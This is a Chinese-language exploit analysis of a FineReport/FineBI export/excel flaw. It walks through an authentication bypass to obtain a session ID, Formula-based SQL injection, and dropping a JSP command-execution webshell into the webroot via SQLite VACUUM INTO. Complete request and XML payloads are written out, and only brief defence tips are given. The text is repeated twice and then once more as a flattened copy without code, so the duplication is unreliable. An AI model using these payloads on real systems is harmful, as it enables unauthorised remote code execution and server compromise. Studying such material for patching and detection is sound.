帆软报表 export/excel SQL注入与Webshell落地利用分析
字数 1923
更新时间 2025-12-30 12:18:10

帆软报表 export/excel SQL注入与Webshell落地利用分析

漏洞概述

帆软报表(FineReport)在 export/excel 接口中存在安全漏洞,由于对传入的参数没有严格校验,攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行,进而获取服务器权限。

漏洞影响范围

  • FineReport < 11.5.4.1
  • FineBi 7.0.* < 7.0.5
  • FineBi 6.1.* < 6.1.8
  • FineBi 6.0.* < 6.0.24
  • FineDataLink 5.0.* < 5.0.4.3
  • FineDataLink 4.0.* < 4.2.11.3

技术分析

鉴权绕过分析

1. 请求拦截器检查机制

帆软的请求在到达实际业务代码前,会经过多个Interceptor的校验,其中DecisionInterceptor负责对模板的鉴权操作。

DecisionInterceptor中会对请求经过多次检查,检查的List如下:

getRequestChecker() // 获取请求检查器列表

2. 条件1:通过acceptRequest检查

com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest中:

public boolean acceptRequest(HttpServletRequest var1, HandlerMethod var2) {
    TemplateAuth var3 = (TemplateAuth)var2.getMethod().getAnnotation(TemplateAuth.class);
    return var3 != null && var3.product() == TemplateProductType.FINE_REPORT 
           && StringUtils.isNotEmpty(this.getTemplateId(var1, var2));
}

关键函数getTemplateId会检查请求是否包含以下参数:

  • viewlet
  • reportlet
  • formlet
  • reportlets

3. 条件2:利用checkTemplateAuthority缺陷

com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus中:

List<TempAuthValidatorStatus> getTempAuthValidatorStatus(HttpServletRequest var1, String var2, int var3) {
    // 需要让返回列表包含null元素
    var4.add(this.getTempAuthStatus(var1, var2, var3));
}

要让getTempAuthStatus返回null,需要让detectTemplateNeedAuthenticate返回false。

绕过方法:

  • 传入模板名称为//webroot/decision/view/report?reportlets=/
  • 或使用JSON格式:/webroot/decision/view/report?reportlets=[{'reportlet':'/'}]

获取sessionId

条件3:设置op=getSessionID

com.fr.web.core.ReportDispatcher#dealWithRequest中,通过传递op=getSessionID参数获取合法的sessionId。

条件4:进入GroupReportletCreator

需要选择合适的WebletCreator,其中GroupReportletCreator满足条件:

  • 请求参数:viewlets 或 reportlets
  • match条件:参数值以[开头,以]结尾

联立条件生成有效payload

综合以上条件,最终的鉴权绕过payload为:

/webroot/decision/view/report?op=getSessionID&reportlets=[{'reportlet':'/'}]

执行任意Formula表达式

漏洞接口分析

存在漏洞的路由为export/excel,对应处理类:
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle

关键参数构造

请求需要包含以下参数:

  1. sessionID:通过鉴权绕过获取的sessionId
  2. params:XML格式的参数,包含Formula表达式
  3. parameters:空JSON对象{}
  4. functionParams:空JSON对象{}

Formula表达式注入payload结构

<R>
  <LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
  <Parameters>
    <Parameter>
      <Attributes name="p1"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo', DECODE('编码后的SQL语句'), 1, 1)</Attributes>
      </Object>
    </Parameter>
  </Parameters>
</R>

完整请求示例

GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: target.com:8075
sessionID: 获取的sessionId
params: <R><LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/><Parameters><Parameter><Attributes name="p1"></Attributes><Object t="Formula"><Attributes>sql('FRDemo', DECODE('%2573%2565%256c%2565%2563%2574%2520%2527%2574%2565%2573%2574%2527'),1,1)</Attributes></Object></Parameter></Parameters></R>
__parameters__: {}
functionParams: {}

Webshell落地利用

SQLite数据库特性利用

新版帆软增加了安全过滤,但可以利用SQLite的VACUUM和REPLACE功能:

1. 创建表存储webshell

CREATE TABLE shell_data1 (payload text);

2. 插入webshell内容

REPLACE INTO shell_data1 VALUES ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');

3. 导出为JSP文件

VACUUM INTO '../webapps/webroot/shell.jsp';

完整webshell payload

<R>
  <Parameters>
    <Parameter>
      <Attributes name="p1"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('CREATE+TABLE+shell_data1+(payload+text);'),1,1)</Attributes>
      </Object>
    </Parameter>
    <Parameter>
      <Attributes name="p2"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('REPLACE+INTO+shell_data1+VALUES+(%27<%+Runtime.getRuntime().exec(request.getParameter("cmd"));+%>%27);'),1,1)</Attributes>
      </Object>
    </Parameter>
    <Parameter>
      <Attributes name="p3"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('VACUUM+INTO+%27../webapps/webroot/shell.jsp%27;'),1,1)</Attributes>
      </Object>
    </Parameter>
  </Parameters>
  <LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
</R>

Windows环境特殊处理

在Windows环境下,需要开启JSP解析:

GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class

防御建议

  1. 及时更新:升级到安全版本
  2. 输入验证:加强对用户输入的校验和过滤
  3. 权限控制:严格限制数据库操作权限
  4. 安全配置:禁用不必要的数据库功能
  5. 日志监控:加强对异常请求的监控和告警

总结

该漏洞通过巧妙的鉴权绕过和Formula表达式注入,结合SQLite数据库特性实现Webshell落地,具有较高的危害性。防护需要从多个层面进行综合防御。

帆软报表 export/excel SQL注入与Webshell落地利用分析

漏洞概述

帆软报表(FineReport)在 export/excel 接口中存在安全漏洞,由于对传入的参数没有严格校验,攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行,进而获取服务器权限。

漏洞影响范围

  • FineReport < 11.5.4.1
  • FineBi 7.0.* < 7.0.5
  • FineBi 6.1.* < 6.1.8
  • FineBi 6.0.* < 6.0.24
  • FineDataLink 5.0.* < 5.0.4.3
  • FineDataLink 4.0.* < 4.2.11.3

技术分析

鉴权绕过分析

1. 请求拦截器检查机制

帆软的请求在到达实际业务代码前,会经过多个Interceptor的校验,其中DecisionInterceptor负责对模板的鉴权操作。

DecisionInterceptor中会对请求经过多次检查,检查的List如下:

getRequestChecker() // 获取请求检查器列表

2. 条件1:通过acceptRequest检查

com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest中:

public boolean acceptRequest(HttpServletRequest var1, HandlerMethod var2) {
    TemplateAuth var3 = (TemplateAuth)var2.getMethod().getAnnotation(TemplateAuth.class);
    return var3 != null && var3.product() == TemplateProductType.FINE_REPORT 
           && StringUtils.isNotEmpty(this.getTemplateId(var1, var2));
}

关键函数getTemplateId会检查请求是否包含以下参数:

  • viewlet
  • reportlet
  • formlet
  • reportlets

3. 条件2:利用checkTemplateAuthority缺陷

com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus中:

List<TempAuthValidatorStatus> getTempAuthValidatorStatus(HttpServletRequest var1, String var2, int var3) {
    // 需要让返回列表包含null元素
    var4.add(this.getTempAuthStatus(var1, var2, var3));
}

要让getTempAuthStatus返回null,需要让detectTemplateNeedAuthenticate返回false。

绕过方法:

  • 传入模板名称为//webroot/decision/view/report?reportlets=/
  • 或使用JSON格式:/webroot/decision/view/report?reportlets=[{'reportlet':'/'}]

获取sessionId

条件3:设置op=getSessionID

com.fr.web.core.ReportDispatcher#dealWithRequest中,通过传递op=getSessionID参数获取合法的sessionId。

条件4:进入GroupReportletCreator

需要选择合适的WebletCreator,其中GroupReportletCreator满足条件:

  • 请求参数:viewlets 或 reportlets
  • match条件:参数值以[开头,以]结尾

联立条件生成有效payload

综合以上条件,最终的鉴权绕过payload为:

/webroot/decision/view/report?op=getSessionID&reportlets=[{'reportlet':'/'}]

执行任意Formula表达式

漏洞接口分析

存在漏洞的路由为export/excel,对应处理类:
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle

关键参数构造

请求需要包含以下参数:

  1. sessionID:通过鉴权绕过获取的sessionId
  2. params:XML格式的参数,包含Formula表达式
  3. parameters:空JSON对象{}
  4. functionParams:空JSON对象{}

Formula表达式注入payload结构

<R>
  <LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
  <Parameters>
    <Parameter>
      <Attributes name="p1"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo', DECODE('编码后的SQL语句'), 1, 1)</Attributes>
      </Object>
    </Parameter>
  </Parameters>
</R>

完整请求示例

GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: target.com:8075
sessionID: 获取的sessionId
params: <R><LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/><Parameters><Parameter><Attributes name="p1"></Attributes><Object t="Formula"><Attributes>sql('FRDemo', DECODE('%2573%2565%256c%2565%2563%2574%2520%2527%2574%2565%2573%2574%2527'),1,1)</Attributes></Object></Parameter></Parameters></R>
__parameters__: {}
functionParams: {}

Webshell落地利用

SQLite数据库特性利用

新版帆软增加了安全过滤,但可以利用SQLite的VACUUM和REPLACE功能:

1. 创建表存储webshell

CREATE TABLE shell_data1 (payload text);

2. 插入webshell内容

REPLACE INTO shell_data1 VALUES ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');

3. 导出为JSP文件

VACUUM INTO '../webapps/webroot/shell.jsp';

完整webshell payload

<R>
  <Parameters>
    <Parameter>
      <Attributes name="p1"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('CREATE+TABLE+shell_data1+(payload+text);'),1,1)</Attributes>
      </Object>
    </Parameter>
    <Parameter>
      <Attributes name="p2"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('REPLACE+INTO+shell_data1+VALUES+(%27<%+Runtime.getRuntime().exec(request.getParameter("cmd"));+%>%27);'),1,1)</Attributes>
      </Object>
    </Parameter>
    <Parameter>
      <Attributes name="p3"></Attributes>
      <Object t="Formula">
        <Attributes>sql('FRDemo',DECODE('VACUUM+INTO+%27../webapps/webroot/shell.jsp%27;'),1,1)</Attributes>
      </Object>
    </Parameter>
  </Parameters>
  <LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
</R>

Windows环境特殊处理

在Windows环境下,需要开启JSP解析:

GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class

防御建议

  1. 及时更新:升级到安全版本
  2. 输入验证:加强对用户输入的校验和过滤
  3. 权限控制:严格限制数据库操作权限
  4. 安全配置:禁用不必要的数据库功能
  5. 日志监控:加强对异常请求的监控和告警

总结

该漏洞通过巧妙的鉴权绕过和Formula表达式注入,结合SQLite数据库特性实现Webshell落地,具有较高的危害性。防护需要从多个层面进行综合防御。

帆软报表 export/excel SQL注入与Webshell落地利用分析 漏洞概述 帆软报表(FineReport)在 export/excel 接口中存在安全漏洞,由于对传入的参数没有严格校验,攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行,进而获取服务器权限。 漏洞影响范围 FineReport < 11.5.4.1 FineBi 7.0.* < 7.0.5 FineBi 6.1.* < 6.1.8 FineBi 6.0.* < 6.0.24 FineDataLink 5.0.* < 5.0.4.3 FineDataLink 4.0.* < 4.2.11.3 技术分析 鉴权绕过分析 1. 请求拦截器检查机制 帆软的请求在到达实际业务代码前,会经过多个Interceptor的校验,其中 DecisionInterceptor 负责对模板的鉴权操作。 在 DecisionInterceptor 中会对请求经过多次检查,检查的List如下: 2. 条件1:通过acceptRequest检查 在 com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest 中: 关键函数 getTemplateId 会检查请求是否包含以下参数: viewlet reportlet formlet reportlets 3. 条件2:利用checkTemplateAuthority缺陷 在 com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus 中: 要让 getTempAuthStatus 返回null,需要让 detectTemplateNeedAuthenticate 返回false。 绕过方法: 传入模板名称为 / : /webroot/decision/view/report?reportlets=/ 或使用JSON格式: /webroot/decision/view/report?reportlets=[{'reportlet':'/'}] 获取sessionId 条件3:设置op=getSessionID 在 com.fr.web.core.ReportDispatcher#dealWithRequest 中,通过传递 op=getSessionID 参数获取合法的sessionId。 条件4:进入GroupReportletCreator 需要选择合适的WebletCreator,其中 GroupReportletCreator 满足条件: 请求参数:viewlets 或 reportlets match条件:参数值以 [ 开头,以 ] 结尾 联立条件生成有效payload 综合以上条件,最终的鉴权绕过payload为: 执行任意Formula表达式 漏洞接口分析 存在漏洞的路由为 export/excel ,对应处理类: com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle 关键参数构造 请求需要包含以下参数: sessionID :通过鉴权绕过获取的sessionId params :XML格式的参数,包含Formula表达式 parameters :空JSON对象 {} functionParams :空JSON对象 {} Formula表达式注入payload结构 完整请求示例 Webshell落地利用 SQLite数据库特性利用 新版帆软增加了安全过滤,但可以利用SQLite的VACUUM和REPLACE功能: 1. 创建表存储webshell 2. 插入webshell内容 3. 导出为JSP文件 完整webshell payload Windows环境特殊处理 在Windows环境下,需要开启JSP解析: 防御建议 及时更新 :升级到安全版本 输入验证 :加强对用户输入的校验和过滤 权限控制 :严格限制数据库操作权限 安全配置 :禁用不必要的数据库功能 日志监控 :加强对异常请求的监控和告警 总结 该漏洞通过巧妙的鉴权绕过和Formula表达式注入,结合SQLite数据库特性实现Webshell落地,具有较高的危害性。防护需要从多个层面进行综合防御。